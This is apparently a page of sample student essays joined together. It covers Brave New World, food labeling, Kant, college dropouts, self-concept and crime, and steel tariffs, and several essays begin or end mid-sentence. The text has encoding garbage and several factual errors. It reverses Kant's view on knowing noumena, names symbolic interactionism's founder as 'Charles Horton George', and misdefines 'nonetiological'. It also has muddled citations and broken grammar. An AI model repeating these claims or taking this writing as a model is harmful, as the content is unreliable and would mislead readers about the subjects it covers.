because he is too shy. Being the outsider, he shows his distressed feelings by being angry at people at reject him and looking at them with disgust. Bernard acts very tough and brags when he comes to people when people that are the same as him. When he meets with Helmholtz, he starts to brag in front of him and complains allot to him about his feelings of rebelling, and how he has anti-social feelings. But when Bernard comes to deal with people that are of his group or higher he becomes awkward and allows himself to follow orders from his superiors. ‘ The unusualness of Bernard is how he is transformed in the book, from being the hero to being a

One of the most important battles to fight is the right to know what Essay

One of the most important battles to fight is the right to know what is in our food - Essay Example The reason for the knowledge is imperative for determining a good well balanced life. Well-being is strongly supported by mental conditions. When one acknowledges food content, they ingest, a harmonization of psychology conditions together with the biological process following the food attribution to good health (Food Labeling - Consolidation Directive Agreed 1). Whether the food produced is organic or not should be captured in the label. Diseases and human health conditions are another reason manufacturers should label food. Allergies and reactions affect human with varying degrees and dietary supplements, and people should fight to push for labeling as a granted right. To avoid illness and stress setting into one’s life understanding content before they take is paramount. Moreover, financial constraints are becoming a must consider concern in acquiring the food people eat (Gatenby 350). Many eateries do not mind of the side effects of using given spices, components and supplements on the food prepared. Hence, a more reason people should demand to know what they pay for. Finances will be employed in the treatment or paying for food one may never use upon realizing the contents are not enough for their ingestion later (Westminster Food & Nutrition Forum Food Labeling Policy 1). Eating food is a daily must activity in order to be healthy. Business classes have not perceived the need to label the food. Consumer should not purchase food does is not labeled to send a clear message to manufacturers. Being the heart of the production by consuming, human beings should demand their right to understand what they are eating. It will prevent disease spread, financial planning, and psychological satisfaction. Doctors may help keep a tab of health improvement from what is eaten. Should the right to know the content supersede the act of consuming what

Philosophy of Religion Essay Example | Topics and Well Written Essays - 2000 words

Philosophy of Religion - Essay Example In part, the Critique of Pure Reason assesses the claims of rationalism and metaphysics regarding the capacity of the mind to probe into the nature of reality without the support of the senses (Adorno 41). The main features in Kant’s Critique to Pure Reason are the relationship between a priori knowledge and analytic knowledge on the one hand, and a posteriori knowledge and synthetic knowledge on the other hand (Adorno 50). Kant contends that analytic knowledge is distinguished by the fact that the concept in the predicate is necessarily contained in the concept in the subject. Synthetic judgments are distinguished by the fact that the concepts in the predicate have information that is lacking in the concept in the subject. In the Critique of Pure Reason, Kant assigns the qualities of a priori and synthetic judgments to all mathematical truth and scientific principles (Adorno 63). In his philosophy, such truths have a universal element and their truth-values are not dependent on sense experiences. The a priori and synthetic elements of the human mind, according to Kant, makes it possible for the mind to discern knowledge but does not imply the express capacity for the mind to discern the mysteries of the universe as understood within the claims of metaphysics. The perceiving mind, according to Kant, processes information acquired and interprets it in accordance with time and space. It is within the same element of the perceiving mind that Kant explains the capacity of the human subject to make sense of the laws of causality. The critique introduces the role of intuitions and the faculties of sensibility and understanding as some of the key determinants of knowledge. Time and space, according to this lin e of though, become only intuitions generated by the faculty of sensibility. The faculty of understanding, on the other hand, generates scientific concepts. Knowledge from sense experience occurs after the processing and organizing of the experience in line with the intuitions of time and space. The faculty of understanding, according to Kant, organizes the events we experience in order for them to make sense. Finally, Kant argues that it is not entirely impossible to know the nature of ‘noumena,’ which he compares to â€Å"things-in-themselves.† The challenge of metaphysics, according to the philosopher, is that it attempts to unravel realities of things that go beyond the limits of knowledge (Adorno 70). In the Critique of Practical Reason, Kant argues that practical reason is capable in guiding the attainment of knowledge more effectively and reliably than in the desire-based practical reasoning (Adorno 33). The critique proposes the fostering and cultivation of pure practical reasoning. This second Critique departs significantly from the position adopted by the Critique of Pure Reason, whose conclusion affirmed the fact that metaphysical subjects such as knowledge on the existence of God are ultimately unknowable. The Critique of Practical Reason confronts the challenges of pure reason because of the difficulty in probing into noumenal truths. In essence, the effort is linked to the aspect of â€Å"the highest good,† (Freydberg 101). Kant argues that the pursuit of the highest good will necessarily lead to the pursuit of the metaphysical truths. Kant’s arguments in â€Å"Religion within the limits of reason alone,† seeks to re-establish an alternative framework of assessing the authenticity and truths of religion outside the conventional systems as established by conventions and religious dogma. Kant sought to establish the place of faith, in this critique, by pointing out certain weaknesses in the existing argument s of reason, which were based on

Personal Essay about Cause of College Drop-outs

Personal about Cause of College Drop-outs - Essay Example literate as a result of several communal perceptions about education, religious cultures, peer influence, financial status, mental value of education, job status and medical attributed factors and geographical locations. This document focuses on the factors that keep people out of school. School is a place wheel people go to acquire education. Many communities in Africa South America and Asia countries have been left behind development wise because of lack of education value due to the communities’ traditions as well as cultural points of view (Leonhardt, 15). These communities concentrate more on the economic activities that was passed on to them by their forefathers for survival. The communities do not embrace technological changes and its influence to human activities and survival. As a result, many children in these communities drop out of school after the second phase of education curriculum which is the primary school system, to carry on their family businesses. the Bahai community of Lesotho in southern Africa and the Maasai and Samburu communities in Eastern Africa are among the communities where children drop out of school and shift to pastoralism activities. In these communities, pastoralism is the basic act of survival as the communities believe tha t their forefathers survived as a result of pastoralism. ‘Andy Blevins was a student at Radford University who made a big decision big decision in life as a result of financial setbacks but end up regretting in future’(Leonhardt, 15). College dropout boom presents a case that explains the reasons why many college students tend to drop out of school without fully completing the degree or diploma course. Many students in college drop out of school due to the idea that they can as well survive without the college degree certificate. This is the perception that Andy Blevins had when he dropped out of school while pursuing his college degree. Many college students find it normal to drop out of school

The link between Self Concept and Crime

The link between Self Concept and Crime Self concept is the idea of looking at ones self either with high or low regard. One can look at herself or himself with high or low regard. The main objective of self concept is to show where people should not tell anyone who they are instead you should tell yourself who you would like to be. Self-confidence, self-worth and self-esteem are not tangible goods; they are cultivated and made part of human-beings. This paper shall focus on self-image and how it may lead to crime. It will explore theories that define how crime is committed in relation to valuing themselves. Generally this paper will shed light into ways the society can create criminals or help reduce deviant behavior with positive enlightenment. 2. Self-Concept and Crime(Overview) Self concept is the idea of knowing who you are and the ability to control yourself and, stay out of trouble. Self-control is the idea where people also differ to an extent they are vulnerable to the temptations of the moment and so in other words their ability to restrain themselves (FrankMerilyn, 1999 p.197). (Thio 2010 p.7)According to the positivist perspective; deviance is determined or caused by forces beyond the individuals control. Studies show that a strong self-image leads to self-confidence and high self-esteem which prevents the youth from listening to what the world would like them to do. There are so many reasons the youth or any other person involve in deviant behaviors. Some of them maybe the [Relationships] they have with people. Relationships involve those from relatives, the society and friends. Thio, 2010 in his view of relativism says that deviant behavior of which leads to crime does not have any intrinsic characteristics unless there is a thought to of these characteristics. The so-called intrinsically deviant characteristics do not come from the behavior itself; instead they come from peoples minds. These individual can be our friends, our family or our society. Delinquents often times suffer self-images because their relationships do not help them disqualifying what they think about themselves. (FrankMerilyn, 1999, p22) Crime consists of a transgression against a social contract and therefore crime is a moral offense against the society. They go ahead to say that punishment is justified only to preserve the social contract and therefore the purpose of puni shment is to prevent future transgressions by deterring socially harmful behavior. The society needs to do all it can to help prevent its members from involving in crime and that is why relationships in the community play a bigger role in building self-image which minimizes crime or delinquency. 3. Containment Theory (Frank and Marilyn 1999, p 192) explains delinquents as the interplay between two forms of contraol: Internal (inner) and external (outer). 4. Self-Enhancement Adolescents are always out to get approval of any little thing they do. This often times leads to gang-life. (Barsani Marvin1970; p 283) gives a story of how deviance can happen. He says that hanging out happens gradually. One does not realize herself or even himself. Those involved know that the other guys will be at a particular corner so they will go find them. This hanging-out commence into cutting up now and then. Later on bigger crimes happen and many suffer because it was not their initiative. From the explanation it is clear that adolescents do so many things just to be ornery. They do what others do until they realize that it often leads them into trouble. They do all these in pursuit of [self-enhancement]. Barsani goes ahead to say that almost every person needs to hangout at a certain age or point so that they get away from monotony. The gang often does things that they think are petty as far as insulting cops so that they get chased. They fail to stop at street lights and expect no one to care that they are making a mistake against the law. To them, they think they should be left alone to do as they please. Gang-life can also be [Normative groups]. [Thio, 2007. P.229] says that if they feel threatened, rebuked or belittled, they may experience self-rejection and because of this rejection they may turn to deviant groups made up of youths who have been similarly rejected to meet their need for self-esteem. While [conventional society] may reject them, their new criminal friends give them positive feedback and support to further enhance their new identity, that may engage in deviant behaviors. This is why the society or relationships have a bigger role to playing streamlining how the yo uth in the society behave. If the only people who approve who they are belong to the normative group then it will be hard for them not to engage in what they do in pursuit for self-fulfillment. [Self-rejection] can be a very serious problem leading to delinquency. Self-rejection causes the youth to loose direction. (Barsani Marvin E. 1970, p 253) says criminal behavior is learned in interaction with other persons and in the process of communication. The principle part of the learning of criminal behavior occurs within intimate personal groups. Groups play a major role in enhancing crime especially among adolescents or high school teenagers. They always want to feel wanted and approved for what they can do and if the conventional society does not do that, someone else will which is the [gang] or normative groups. 5. Social Bond Theory and crime Social Bond theory according to (Radsonwicz 1977, p 394) says that the idea that the societys effort to eleviate social problems of deviance through establishment of public policy may aggravet or perpetuates the problems is by no means a novel. (Thio: 2010 p 22) says there are four elements of social bond theory. The first one which is [attachment] is just the virtue that people sort of get attached to the [conventional people and society]. The second is [commitment] to conformity which brings the idea that individuals in the society strive to do the best for the whole societys well-being. Activities like getting an education, improving professional status, getting a job are just mere commitments individuals undertake for the good of the society as well as their own lives. Failure to do so may lead to other ways of meeting needs which definitely will be involving in deviant behavior. The third is the [involvement] in conventional activities. (Siegel 2007: P 230) says that heavy invol vement in conventional activities leaves little time for illegal behavior. When people become involved in school, recreation and family, they become so insulated from potential involvement in crime whereas idleness enhances it. (Thio: 2007) says that the last which is a belief in the [moral validity of social rules]. People who live in the same social setting often share common moral beliefs: they may adhere to such values as sharing, sensitivity to the rights of others and admiration for the legal code. (Siegel, 2007) goes ahead to give evidences to the social bond theory. Siegel further points out that the following show that social bond theory is true and can work: The youth who were strongly attached to their parents were less likely to commit criminal acts. They had strong [egos] and [high self esteem] Commitment to conventional values such as striving to get a good education and refusing to drink alcohol and cruise around was indicative of conventional behavior. Youths involved in unconventional behavior such as smoking and drinking were more delinquency-prone. Those who shunned unconventional acts were attached to their peers Delinquents and non-delinquents shared similar beliefs about the society. Social control theory has its own opposing views for example [friendship]. Whereas Hirschs view about friendship says that delinquents are [detached loners] whose bond to their families has been broken but the reality is that a number of delinquents maintain relationships with [deviant peers] and family members. The other element that critics have found fault is that deviant peers in relating with parents whereby Hirschi says that youths attached to drug-abusing parents are more likely to become drug-users themselves. That particular view often times is not true. Restricted scope has also been disapproved where research shows that control variables are more predictive of female than male behavior. [Changing bonds] is another opposing view whereby (Siegel,2007) says that it is possible that at one age level weak bonds[Parents] lead to delinquency while at another strong bonds[at peers] leads to delinquency. The last is that criminal behavior weakens social bonds and vice versa (Siegel , 2007) Social control theory in general refers to any perspective that discusses the control of human behavior. Among their various forms such theories include explanations based on genetics, neurochemistry, sociobiology, personality and environmental design. Social control theories attribute crime and delinquency to the usual sociological variables (Family Structures, education, peer groups) says (Frank Marilyn 1999, p 188) 5.1. Testing Social Control Theory Social control theory may be best for explaining less serious forms of delinquency. Because of its grounding in self-report studies which traditionally have focused on less serious forms of behavior, it makes sense that social control theory works best for minor to moderate delinquency(Frank Marilyn 1999. P 200). The two find that if the theory is followed, it will help control minor crimes and delinquency. 6.0. Social Reaction Theory Social theory is sometimes or also referred to as [labeling theory]. (Siegel 2007, P 232) defines it as explaining how careers form based on destructive social interactions and encounters. (Thio 2010, P 35) says that labeling theorists interprets deviance not as a static entity whose causes are to be sought out but rather as a dynamic process of symbolic interaction between both deviants and non-deviants. Yet (Becker 1963:3-18) noting other definitions depend on statistical, pathological, or relativistic views of deviance said that none of them does justice to the reality of deviance thus he saw that deviance can often be in the [eye of the beholder] because members of various groups have different conceptions of what is right and proper in certain situations. Social reaction theory or labeling theory emanates from symbolic interaction theory by Charles Horton George which was later picked on by Plumer. (Siegel 2007; 232) says that the [symbolic interaction Theory] holds that people communicate via [symbols]-gestures, signs, words or images that stand for or represent something else. 6.1.Labels and labelers (Thio, 2007) According to labeling theorists, people who represent the forces of law and order as well as conventional morality typically apply the deviant label to those who have allegedly violated that law and morality. (Becker, 1974) Says that a major element in every aspect of drama of deviant is the imposition of definitions that is of situations, acts and people-by those powerful enough legitimated to be able to do so. Labeling perspectives have a wide range of intellectual influences. These include social psychology, phenomenology and ethnomethodology. Generally speaking labeling perspectives have strong links to the [symbolic integrationists] perspective in sociology. The perspective employs concepts such as self and symbol in order to explain social behavior and social action. A symbol can be said to be anything that stands for something else. All human beings have to learn how to respond to different situations by accurately reading the symbols around them. The self is not psychological concept just like personality but refers to how people see themselves. This in turn is built through social interaction. The term used is [looking glass self] which means that your image of yourself is simply what you see of yourself reflected in those around. Siegel, (2007) emphasizes on the concepts of [interaction and interpretation]. Siegel says that throughout their lives people are given a variety of symbolic labels and ways to interact with others. Rob Fiona (2000) say that human interaction involves [role-playing]. Individuals go ahead to say that for it to occur, each individual has to be able to take the role of the other and to see things as others see them. The essence is that interaction only occurs because each person is able to attribute appropriate meaning to the symbols. The self does not simply passively respond to events and people around it. It also plays an active part in selecting how it depends on people and events around it. How people respond to other people in our social interactions depends upon how they define [situations]. Everything should be understood though as cited by Siegel (2007) that not all labeled people have chosen to engage in label-producing activities such as crime. Some negative labels are bestowed on people for behaviors over which they have little control. Some of these negative labels include the mentally ill and the mentally deficient. 6.2. The Labeling process Siegel says that it takes a process for someone to show deviant behavior when labeled. There are two types of labeling; positive and negative. Victims of negative labeling can change their behavior when given a chance. The labeling process occurs in six stages namely initial act, detection by the justice system, decision to label, creation of a new identity, acceptance of labels and lastly deviance amplification. Labeling advocates maintain that depending on the visibility of the label and the manner and severity with which it is applied, a person will have an increasing commitment to a deviant career. Stigma is acquired through the process. (Rob and Fiona, 2000) Once a person has been labeled a particular kind of person, they are liable to be treated in a different kind of way from others who may engage in the same kind of behavior, but who has not been labeled. This process can be represented as: Negative Labeling Stigmatization New Identity formed in response to negative labeling Commitment to new identity based on available roles and relationships Siegel and the two agree on how labeling yield deviants simply because particular weak individuals of the society decide to do what everyone thinks or the labelers have said or think they are. 6.3. Stigmatization and as a major consequence of Labeling (Barsani Marvin E.1970) says that [stigmatization] describes a process of attaching visible signs of a moral inferiority to persons, such as invidious labels, marks, brands, or publicly disseminated information. The Greeks who are apparently strong on visual aids, originated the term stigma to refer to bodily signs designed to expose something unusual and bad about the moral status of the signifier. The signs were cut or burnt into the body and advertised that the bearer was a slave, a criminal or a traitor who was a blemished person, ritually polluted, to be avoided, especially in public places. According to (Radzinowicz 1977) later, in Christian times, two layers of metaphor were added to the term. The first referred to bodily signs of holy grace that took the form of eruptive blossoms on the skin and the second is a medical illusion to this religious illusion; referred to bodily signs of physical disorder. In the present world, according to the above author the term is widely use d in something like the original literal sense, but is applied more to the disgrace itself than the bodily evidence of it. (Siegel, 2000) says that labeled people may find themselves turning to others similarly stigmatized for support and companionship. Isolated from conventional society, they may identify themselves as members of an [outcast group] and become locked into a deviant career. So in all essence stigmatization is the biggest negative effect of labeling. 6.4.Preliminary conceptions about Stigma Society according to (Becker, 1974) establishes the means of categorizing persons and the compliment of attributes felt to be ordinary and natural for members of each other of these categories. Social settings establish the categories of persons likely to be encountered there. Becker goes ahead to say that the demands we make might better be called demands made [in effect] and the character we impute to the individual might better be seen as an [imputation made in potential] retrospect which is a characterization in effect a [virtual identity]. (Radzinowicz 1977 p. 389) The term stigma and its synonyms conceal a double perspective which is: does the stigmatized individual assume his differentness which is known already the evidence on the spot, or does he assume it is neither known about by those present nor immediately perceivable by them? The first perspective deals with the plight of the discredited while the second deals with that of discreditable. This is a very important difference when dealing with stigma although some individuals often times have experienced both perspectives of the stigma. There is always the [positive] and [negative] side of labeling which eventually leads to stigmatization. If the society stays together when labeling, research shows that this may help reduce crime. Radzinowicz (1977) says that those generally stigmatized may offer temporary or relatively stable solutions to life problems despite the fact that they represent a lower order of human existence. If effective stigmatization imposes penalties, and circumscribes access to conventional means of life satisfactions, it may also provide new means to end sought. For example, becoming an admitted homosexuals which is known as coming out may endanger ones livelihood or his professional career, yet it also absolves the individual from failure to assume the heavy responsibilities of marriage and parenthood. It is also a ready way of fending off painful involvements in heterosexual affairs. Like being sent to a camp for [delinquent] boys is degrading and a career threat, but at the same time it may be an avenue of escape from intolerable home situation where degradation is greater. Another scenario like being committed to a mental hospital is a blot on ones reputation, where it may be one sure way of stopping a divorce action by a straying spouse, the outcome would be even more intolerable if the action is not undertaken. Contrally to the above positive side of labeling (Radzinowicz 1977) says that there are reasons why stigmatized persons may seek and find gratifications as well as having to endure painful humiliation and frustrating restrictions associated with deviant status. One has to do with the [dialectical qualities] of cultural values, public policies, laws and social control the other with complex ways in which personal evaluations are made of things and experiences objectively represented as rewarding or punishing. 6.5. Differential Enforcement This is where the law or legal institutions favor the more privileged than the underprivileged. (Radzinowicz, 1977) says that this is a mechanistic image of deviance. Such an image shows the individual as being mechanically pushed into deviant involvement by an association with deviants. This ignores the individuals role-taking and choice-making ability. (Barsani Marvin E. 1970) continues to say that further on, in pursuit to correct this mechanistic image suggests that the experience of associating with deviants is harmless unless the individual identifies with them. He says that deviance is likely to occur if differential identification intervenes between it and differential association; [differential association] which connects to [differential identification] and then yields deviant behavior. The concept of differential enforcement according to (Siegel, 2000) emphasizes the idea of labeling theory. Siegel says that the minorities and the poor are more likely to be prosecuted for criminal offenses and to receive harsher punishments when convicted. Judges may sympathize with white defendants and help them avoid criminal labels, especially if they seem to come from good families whereas minority youth are not afforded that luxury. The law is generally differentially constructed and applied, depending on the offenders. It favors the powerful members of society who direct its content its content and penalizes people whose actions represent a threat to those in control, such as minority group members and the poor who demand equal rights (Thio, 2010). 6.6. Differential Social control A process of labeling may produce re-evaluation of the self, which reflects actual or perceived appraisals made by others. (Siegel, 2000) When they believe that others view them as antisocial or troublemakers, they take on the attitudes and roles that reflect this assumption; they expect to become suspects and then to be rejected. According to Siegel this process has been linked to delinquent behavior and other social problems including depression. Enhancing or promoting reflective role adheres to informal and [institutional] social control processes. This helps them get over what they have been thought to be. 6.7. Retrospective reading (Siegel, 2007) Labelers try to redefine what the person is. They give a person a new being making them either powerful (for positive labeling) or making him a lesser and more prone to deviance in the cases of [negative labeling]. When a person is labeled, people start to react to the label description and what it signifies instead of reacting to the actual behavior of the person who bears it and that is what is called [retrospective reading]. 6.8. Dramatization of Evil (Bersani Marvin E. 1970) In the conflict between the young delinquent and the community there develops two opposing definitions of the situation. In the beginning the definition of the situation by the young delinquent may be in the form of play, adventure, interest, mischief, fun. To the community these activities may seem to be a nuisance and evil. The attitude of the community hardens definitely into a demand for suppression. Thus there is a gradual shift from the definition of the specific [acts as evil] to the [individuals evil]. In such instances, the young delinquent becomes bad because he is defined as bad and because he is not believed if he is good. There is persistent demand in consistency in character and the community cannot deal with people it can define. Therefore reputation is sort of a public definition and once it is established, then unconsciously all agencies combine to maintain this definition even when they apparently and consciously attempt to deny their own i mplicit judgments. Tagging, defining, identifying, segregating, describing, emphasizing, making conscious and self-conscious are some of the criminal-making processes; it becomes a way of stimulating, suggesting, emphasizing and evoking the very traits that are complained of. The way out of this situation is through refusal to dramatize the evil and the less said about it the better while the more said about something else still better too. The concept of dramatization therefore tends to [precipitate] the conflict situation which was first created through some innocent maladjustment.Therefore, in dealing with delinquent-the criminal, the important thing to remember is that its dealing with human beings who are responding normally to the demands, stimuli, approval, expectancy, of the group with whom they are associated. Generally speaking, its dealing with an individual and not with a group. 6.9. Primary deviance (Siegel, 2010) says that primary deviance involves norm violations or crimes that have very little influence on the [actor] and can be quickly forgotten. They are what can be termed as petty crimes. 6.9.Secondary deviance (Barsani Marvin E, 1970) The most general process by which status and role transitions take place is socialization. (Siegel, 2007) Secondary deviance occurs when a deviant event comes to the attention of significant others or social control agents who apply negative label. The newly labeled offender then reorganizes his or her behavior and personality around the consequences of the deviant act. It becomes part of them and they practice it. 6.10. Effects of labeling Labeling has adverse effects on so many people. (Siegel, 2007) Children who are labeled as troublemakers in school are the ones most likely to drop out and dropping out has been linked to delinquent behavior. Even as adults, the labeling process can take its toll for example male drugs users labeled as addicts by social control agencies eventually become self-labeled and increase their drug use. Labeling causes parents to become alienated from children and increase child delinquency that is in cases of negative labeling. People labeled often bring out their negative behaviors. [Self-image] is the best thing that everyone should try to foster in order to reduce crime and delinquency. 6.11. Family image [contextual discrimination] When dealing with self-image, the family is very important. (Barsani Marvin E. 1970) says that good relationships in the family yields good character. If the family plays their role in keeping and upholding morals, then children and members of the society will grow with a sense of belonging. When a family is labeled, it should try the much it can to disqualify the label so as to be able to come out of it. The society is made up of families and if single families play their role, it definitely will work. 6.12. Re-evaluation of Labeling Theory (Thio, 2010, P. 37) Many sociologists have criticized labeling theory for not being able to answer the question of what causes deviance. The truth is that the theory is not supposed to tell what causes deviance; it is intended to be nonetiological meaning that it should be concerned about casual questions about deviance. The other thing is that, research shows that the theory has failed to produce consistent support to labeling theorists assumptions that the deviant label leads the individual into further deviant behavior. The truth is in this form of example, there are so many poor girls who have been labeled but due to the fact that they have strong bond with their parents, but they end up succeeding. The idea here is not labeling, it is inner-drive and relationships. (Thio, 1973) gives a view that labeling theory cannot logically deal with hidden deviance and powerful deviants. This theory insists that no behavior can be deviant unless labeled as such and often the powerful commit hidden crime. Labeling theorists in effect say that [the powerful] cannot be deviants because they can only be [labelers]. 7.0. Conclusion Self concept and crime seeks to find out what is the root cause of crime in relation to self-esteem and self-control. Studies show that being labeled deviant produces unfavorable consequences for individual labeled and also labeling individuals as deviant generates favorable consequences for the community. Low self-image or self-esteem as found by many researchers is what leads people to commit crime. If people tell someone that they are this and they just revoke it and work towards the best. Therefore, individuals will not have to think about why it did not happen it was intended. Teenagers, adolescents and everyone in the community need a good communication system, a shoulder to lean on, souls to confide in and a strong person to look upon as a role model. The society needs to take up this responsibility by providing helpful ways to save members who show characteristics of deviant behavior. If this process is applied, it would yield a healthy society.

Steel and Tariffs Essay -- Economy Economics Essays

Steel and Tariffs We have all heard this joke. Only now the horse has been replaced with consumers of steel in the US steel industry. Why? Many companies in our economy that use steel as an input to produce their goods are staggering due to recent extraordinarily high steel prices. President Bush dropped a tariff on imported steel on Thursday March 4th; according to basic economics, this cancellation of the steel import tariff should have dropped the price for US domestic consumers. Unfortunately though, that hasn't happened. Steel prices are currently at record highs and many forecast even higher prices to come. This puts huge pressure on small businesses that are dependent on steel for their well being. With higher prices threatening these business owners’ profits and future sales all, including the very large companies, are looking for any break in the high priced storm that seems to be closing in on the future of the steel industry. While many companies are sending out fair warning that con sumers can expect higher prices in the car, furniture, and construction industries, many look for ways to cut costs and layoffs have been mentioned. Could this have been avoided? Many look to the recent lifting of tariffs imposed on steel imports as a possible culprit. Although the lifting of the tariff has affected the market, it is unlikely that the lifting correlates with the recent spike in steel prices. With the United Steel Workers of America screaming that the dropped import tariffs are, "clear evidence of capitulating to European blackmail and a sorry betrayal of American steelworkers and their communities," (Crutsinger 1) and representatives in congress showing much disgust at the presidents lack of respect and compassion for o... ...k, John. "US Steelmakers in Continuing Crisis." Challenge.Vol. 47, no. 1, January/February. M. E. Sharp, INC. 2004. 86-106. Crutsinger, Martin. "Bush drops steel import tariffs, accused of 'betrayal' by industry"The Game Cock. 04/05/04. <http://www.dailygamecock.com/news/2003/12/05/News/BushDrops.Steel.Impot.Tarif.Accused.Of.betrayal.By.Industry-573188.shtml> Goodrich, Ben. Hufbauer, Gary Clyde. "Steel Policy: The Good, the Bad, and the Ugly." Internationas Economics Policy Briefs. January 2003. ---. "Time for a Grand Bargin in Steel?" Institute for International Economics. 04/05/04. <http://www.iie.com/publications/pb/pb02-1.htm>. Hagenbaugh, Barbara. "Steel Prices Soar 66% in a World Market 'gone mad'." USA Today. McLean, VA. Feb 20, 2004. pg B.01 Irwin, Douglas A. Free Trade Under Fire. Princeton, New Jersey: Princeton University Press 2002.